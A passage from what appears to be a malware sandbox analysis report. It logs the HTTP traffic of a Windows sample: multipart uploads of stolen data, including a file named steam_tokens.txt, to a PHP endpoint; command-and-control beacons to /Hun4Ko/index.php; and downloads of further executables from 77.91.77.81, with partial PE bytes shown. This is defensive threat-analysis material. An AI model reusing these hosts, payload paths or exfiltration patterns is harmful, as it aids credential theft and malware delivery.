65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file"------KFCBAEHCAEGDHJKFHJKF--
Jul 3, 2024 23:59:11.970668077 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 3, 2024 23:59:12.069686890 CEST	467	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFC Host: 85.28.47.4 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"jbdtaijovg------BGDAAKJJDAAKFHJKJKFC--
Jul 3, 2024 23:59:12.828432083 CEST	331	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	77.91.77.81	80	7156	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:12.836642981 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 3, 2024 23:59:13.537070036 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:13 GMT Content-Type: application/octet-stream Content-Length: 1910272 Last-Modified: Wed, 03 Jul 2024 21:46:54 GMT Connection: keep-alive ETag: "6685c6ce-1d2600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 e0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELafK@L@XlKK @.rsrc@.idata @ +@puezhyxb1@rrssvbkzK@.taggant0K"@
Jul 3, 2024 23:59:13.537100077 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 3, 2024 23:59:13.537111044 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 3, 2024 23:59:13.537123919 CEST	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 3, 2024 23:59:13.537187099 CEST	1236	IN	Data Raw: c1 f2 f7 7d df ab 61 1d 28 aa 8f 0d f6 0c 6d c3 76 ae 53 03 ec aa f6 2b bc 1a c9 ee d6 94 8b fe 31 ab 03 ef cf 39 39 ad c6 83 6a 81 40 90 8f 55 ce f6 59 46 4d 92 77 01 80 63 ad 6f 3e 2a 38 d1 ea 13 97 c5 6d 2b 48 76 c9 a8 37 25 9f 9e bb 1d df d9 Data Ascii: }a(mvS+199j@UYFMwco>*8m+Hv7%/mARoZJAk`T29 ^Ok4A:IvHvPV?Ek6g?I6EyEQtdYIM
Jul 3, 2024 23:59:13.537197113 CEST	1236	IN	Data Raw: 96 b7 69 5d 32 18 48 65 e8 1a 97 45 6e ce e0 e9 f1 ab 8f 45 c6 16 5b 4d 0d 0e 38 a1 06 23 82 42 be 4a 2c dd a9 b7 6f ec 01 fa 49 36 5c 0a 6a 8d cf de 53 de cc c9 f7 dd 16 0f c8 7d e0 b2 b1 df 3d bf 49 ac 20 ac 57 a2 10 c3 87 87 2a aa 2f 19 f1 1a Data Ascii: i]2HeEnE[M8#BJ,oI6\jS}=I W/EN@?XlBJh)SLBwcmW,wGHqwWC2h9G-%^S&lAn`8Wy8.XlG6^RHLBQ+,:vp
Jul 3, 2024 23:59:13.537209034 CEST	1236	IN	Data Raw: 0a ed 62 21 00 e6 35 44 14 04 b4 fc 71 91 86 f1 ea c6 9c 10 f3 15 04 95 52 bd fd d1 35 fe 92 db 46 f6 4b e3 40 ee 17 f6 10 53 6c 15 d4 fc c8 dc 14 bd b3 3d 49 83 b1 3a 9e 74 6b 09 ce fa 3f 85 0e 9f 0f fc 06 dc 7c 3c 88 80 9b 9c dd cf cd 63 a8 05 Data Ascii: b!5DqR5FK@Sl=I:tk?\|<c>}@)/98DV[./#<>u@8}?/4o:m;}@;N8Je3bSGb5O&\_Y"z:wA)+M_xJr4`\Sg:j
Jul 3, 2024 23:59:13.537219048 CEST	1236	IN	Data Raw: c9 59 03 20 4d 91 f0 8c 9e ba e0 c0 4e e9 c7 d3 33 c5 12 fe 5b 0d 26 c0 c1 ff 6d 4a 35 be a8 c1 b3 20 74 12 33 99 91 83 05 ee bd df dc 8c 38 c0 15 f7 9c 0d 16 6e 34 8d eb cc 77 07 e1 85 80 d4 04 38 a8 b9 86 77 48 c7 c1 24 80 e9 be d2 e1 de 2c c9 Data Ascii: Y MN3[&mJ5 t38n4w8wH$,u%0qOj.DNlU1&2jSD\_y~APrq@WK HF.'uf\|Kl/S0T_B!G1H*
Jul 3, 2024 23:59:13.537333012 CEST	1236	IN	Data Raw: 00 b2 49 70 66 16 41 84 b7 e2 7e f9 31 e6 99 c1 d8 bf 8d 46 f0 e7 36 49 39 e6 39 1d 86 c6 8b fe 40 55 27 50 01 a9 3a c7 85 d3 9c 17 d4 ac 6f cd 4e 99 2f 29 ef 3e 24 97 ce 10 e4 4d 16 04 7f 7d c8 ab eb 21 76 fa b0 73 86 30 06 e7 43 56 37 c6 03 d2 Data Ascii: IpfA~1F6I99@U'P:oN/)>$M}!vs0CV7Bz{/a?`j]HVC+7 )kLJqq&=O7NNXH ,g`'/H(Cej6,AMjV>GGH4h"Z`We 86Y]G
Jul 3, 2024 23:59:13.537343979 CEST	1236	IN	Data Raw: ce 66 2d f7 26 f9 75 f7 dc 1a ff 0b ca 5d 00 48 5f 20 c1 d2 ae 00 12 37 c4 86 c4 c2 ff 19 50 f7 be 68 90 81 43 8f a9 65 51 60 e8 ce 19 9c b2 b7 03 d9 fc 37 6b 4e bc 0d d0 13 66 c9 01 e9 01 c2 5f b0 7d ef c5 31 50 af 92 ba 8b 05 b7 9b 47 e0 cd 0f Data Ascii: f-&u]H_ 7PhCeQ`7kNf_}1PGBEf8BJMrxNu7B)iiwu;I4;-AhGB#NhgJz(.;y"?1yMOWI01?JHO~V(\k#
Jul 3, 2024 23:59:13.542059898 CEST	1236	IN	Data Raw: 40 b5 ed c1 d0 30 b2 c2 ff 13 7c ff 83 5b e9 a7 21 d0 8f cb d4 9c 80 c5 c8 03 1e 41 c8 79 29 32 53 26 77 92 42 07 a5 a5 4e 8d ec c8 32 e3 31 30 48 07 8f c3 30 73 2c a2 10 e2 e7 03 c8 52 b0 a3 a9 dd 61 59 77 2e 41 bf e5 9d 78 cd 97 26 14 c0 48 d4 Data Ascii: @0\|[!Ay)2S&wBN210H0s,RaYw.Ax&H(B^Y/UWy\;.ZU?\wEB"?FK+Ce;0=U>'-%#/H9JKe3=}_(?P~tQK6p"5J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:23.326004028 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:24.029300928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:24.030318975 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:24.254291058 CEST	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 30 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1000006001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	77.91.77.81	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:24.264045000 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
Jul 3, 2024 23:59:24.995127916 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:24 GMT Content-Type: application/octet-stream Content-Length: 2465792 Last-Modified: Wed, 03 Jul 2024 19:03:23 GMT Connection: keep-alive ETag: "6685a07b-25a000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f6 41 83 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 e4 d5 bd 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 bd 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELAf!@@ @@@0!@@Pp# @x#(@.datap!l!4@
Jul 3, 2024 23:59:24.995143890 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da 7b 84 2c 0b 27 e8 d5 f5 83 65 74 18 a1 f5 e3 c9 78 01 e5 79 e3 4a 78 a7 Data Ascii: {,'etxyJx0\8r0.WI~>DZ-[KXa#5$J0MT(rceIP#2Zvy"+DK\|R>@Lk!nKPbs"0.6
Jul 3, 2024 23:59:24.995153904 CEST	1236	IN	Data Raw: a5 02 68 37 5a b7 4c 3c 9e af c7 6e 76 c2 0d 3b bb e1 53 6e c9 44 d4 67 5f 94 6c f1 53 ec de 24 23 ed 25 f1 c0 e3 99 dc 72 67 62 be 8f 89 f3 11 88 a4 54 7d d9 71 77 9a c7 0e 90 f9 46 70 60 8d a9 1c db ac ba 52 07 10 65 5d 7e 31 89 d1 62 ef 93 0d Data Ascii: h7ZL<nv;SnDg_lS$#%rgbT}qwFp`Re]~1b"x+TpZDB6m$W.DXL>/"_FsZ1!v!N4w?" }\|,Lx.{7QUHXYf,
Jul 3, 2024 23:59:24.995249033 CEST	1236	IN	Data Raw: 19 68 65 c6 46 05 1e 35 3e 34 33 5d 04 40 71 f6 f0 73 6b 22 d1 40 9a bc 2d b6 2b 65 8f ab be 32 4c 15 9d 06 51 bb b5 5d c7 8c f6 c6 b1 6d 18 35 0c f5 5f b4 e0 76 3f f8 83 16 e8 6a 05 d9 77 a1 a8 f8 2f 96 88 cd 73 95 29 b0 46 25 61 1f a5 d4 b7 31 Data Ascii: heF5>43]@qsk"@-+e2LQ]m5_v?jw/s)F%a1gk(ADrd$C?^'yS=q.)au9Xs,c(&-Ooh)Xs1mB)DD#Y[tTw[\K[lmJv,*to
Jul 3, 2024 23:59:24.995260000 CEST	1236	IN	Data Raw: ac 8f 1a 74 4a cb 92 32 40 52 f8 b7 b1 13 aa 5d ea 74 07 59 0a 4f 38 f0 b5 48 e3 54 08 c8 fa 44 e2 16 a2 b5 b1 4d 84 cc b0 da ae 33 2a 34 8f e5 3f fa 7c 99 ec a8 25 8d ce 06 e2 bb fc 0c 40 68 19 bf 47 62 0a 55 15 e0 5e 20 42 59 2f b9 d8 04 a4 e7 Data Ascii: tJ2@R]tYO8HTDM34?\|%@hGbU^ BY///me}i-"k(]-#7_gmhNbTi&=RN;mqbAae0lO}'L:2f"+K\|Ybh_aYnlc,z>gqZrB
Jul 3, 2024 23:59:24.995268106 CEST	1236	IN	Data Raw: e6 08 32 41 24 78 32 13 b4 68 90 e7 91 01 74 34 f9 49 31 96 8e 4c b4 65 a1 6d 5d df 59 44 42 f7 42 4a 79 e0 60 94 70 a4 82 88 4f d3 96 b6 ae 88 4a 77 d1 20 11 e5 e5 26 78 4e 76 cc 68 58 54 d4 11 43 9d 1b dc b5 1e d9 f2 c9 a9 b3 35 9a 78 76 44 98 Data Ascii: 2A$x2ht4I1Lem]YDBBJy`pOJw &xNvhXTC5xvD6angidS.p5"#rQ<JaDeZb]OndEd5"O;!?F"8WvIkJC`ib]G2<@l-"h
Jul 3, 2024 23:59:24.995277882 CEST	1236	IN	Data Raw: ff d2 be 5b bc 76 93 65 6f 5a df ec 23 e8 55 8b 8c d3 f4 16 bc e4 63 ce d7 da dd c7 f0 47 8c ab df 38 40 b7 fc f5 c4 3a 03 e8 dd c3 7d b9 04 d2 3f b0 a9 b3 45 d1 a9 f4 c3 1a 4c 3b b3 93 06 6d 86 02 1f 73 66 db fe 8b 13 c0 24 6d 18 8e 0e 58 35 ab Data Ascii: [veoZ#UcG8@:}?EL;msf$mX5g8Bo=V}0.g9`7o<jN'w#V~fHl&YG#8Z'/L"rRMW<2nsG&R#E.eDSfm[By;7g
Jul 3, 2024 23:59:24.995433092 CEST	1236	IN	Data Raw: bc fe 29 81 c1 95 a7 45 ee cb d3 5b e2 c8 fc 13 6e d0 fb 6e 2e a4 5b a7 57 38 a5 49 22 04 9d 84 87 22 53 dc de 76 a4 a1 14 10 b1 d5 d1 86 ec 9e ad 3f 04 c2 af d1 b6 fe 77 e6 b2 cf 65 21 0e c1 2b 9a b4 3e f4 cc 19 6d 59 c1 68 4a 56 52 31 68 cd 56 Data Ascii: )E[nn.[W8I""Sv?we!+>mYhJVR1hVs[gZ{fs7m;:c"D$=I23te]q@zh:g*;+GL3wK,8=;%tTdL^#Ga"S.W~xP;X
Jul 3, 2024 23:59:24.995444059 CEST	1236	IN	Data Raw: 00 55 07 ca ea 4f 1a c2 e4 76 2c 34 93 73 97 9f ac 61 6d 31 66 f0 8f 50 bc b9 ed 32 1e 49 43 e8 e7 35 09 22 28 92 02 f8 1e e0 f2 d4 5d 47 bd 1a 9c c7 98 50 55 c5 87 74 c8 34 f8 75 70 be 91 69 12 9c 85 b1 17 40 1a b9 77 e2 f4 66 00 44 d0 fa 89 ab Data Ascii: UOv,4sam1fP2IC5"(]GPUt4upi@wfD1J*$BU$F,l^5m\|\|4zX$DbvvQX{yBT<nxwY\|! cGWMs{Sc9<"4%'"=`7=R]{DxG]2]4#yzq1
Jul 3, 2024 23:59:24.995452881 CEST	1236	IN	Data Raw: 34 fe 9c c5 e1 a7 69 8f c4 14 54 0d ef 9b af 26 e4 af 4e 09 2d a7 16 7f 38 43 b0 15 5d b9 77 4d 3f 55 85 b5 61 1d ef bb 6e 00 00 b1 7b b5 6f 0e 46 6e c6 6e 4e 75 ea 02 5c cb 2e 52 e0 8a dc a2 08 9c d5 b6 60 da f1 50 5d 2d 5e 98 5e b9 75 01 ce 36 Data Ascii: 4iT&N-8C]wM?Uan{oFnnNu\.R`P]-^^u6sMw%k/&>C{=pxiw-r(@WUANx.yAro%=X/<y]ltbQnN9_}\=7q\e%#
Jul 3, 2024 23:59:25.000129938 CEST	1236	IN	Data Raw: 37 0d 7c 3b 4c cc dd c5 5b 82 41 4a 86 09 00 97 bd b5 f2 54 4c 04 72 df 85 d7 c6 42 2d 48 f9 aa fc 42 77 47 eb 49 c5 d1 cc c9 f3 1f d4 ac 8d 1b 93 c7 51 1f a5 c4 18 2e 93 46 ea 74 53 e4 9c 72 71 07 d6 41 e2 fd 8c c7 99 1d 34 fd 9a a2 41 8a 66 80 Data Ascii: 7\|;L[AJTLrB-HBwGIQ.FtSrqA4Af+'oExX=:j@ t21A2t4$_>up&}){LPEDzCrpk/A4c/LefI $'/EF:XUA:>SM1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	85.28.47.4	80	7924	C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:27.837764978 CEST	407	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJ Host: 85.28.47.4 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 31 38 30 33 44 45 30 46 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="hwid"231803DE0F39786254513------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="build"jony------FHJDGHIJDGCBAAAAAFIJ--
Jul 3, 2024 23:59:28.459899902 CEST	211	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:27.857148886 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Jul 3, 2024 23:59:28.542726040 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:28.653646946 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:29.372742891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:29.373563051 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:29.596318960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
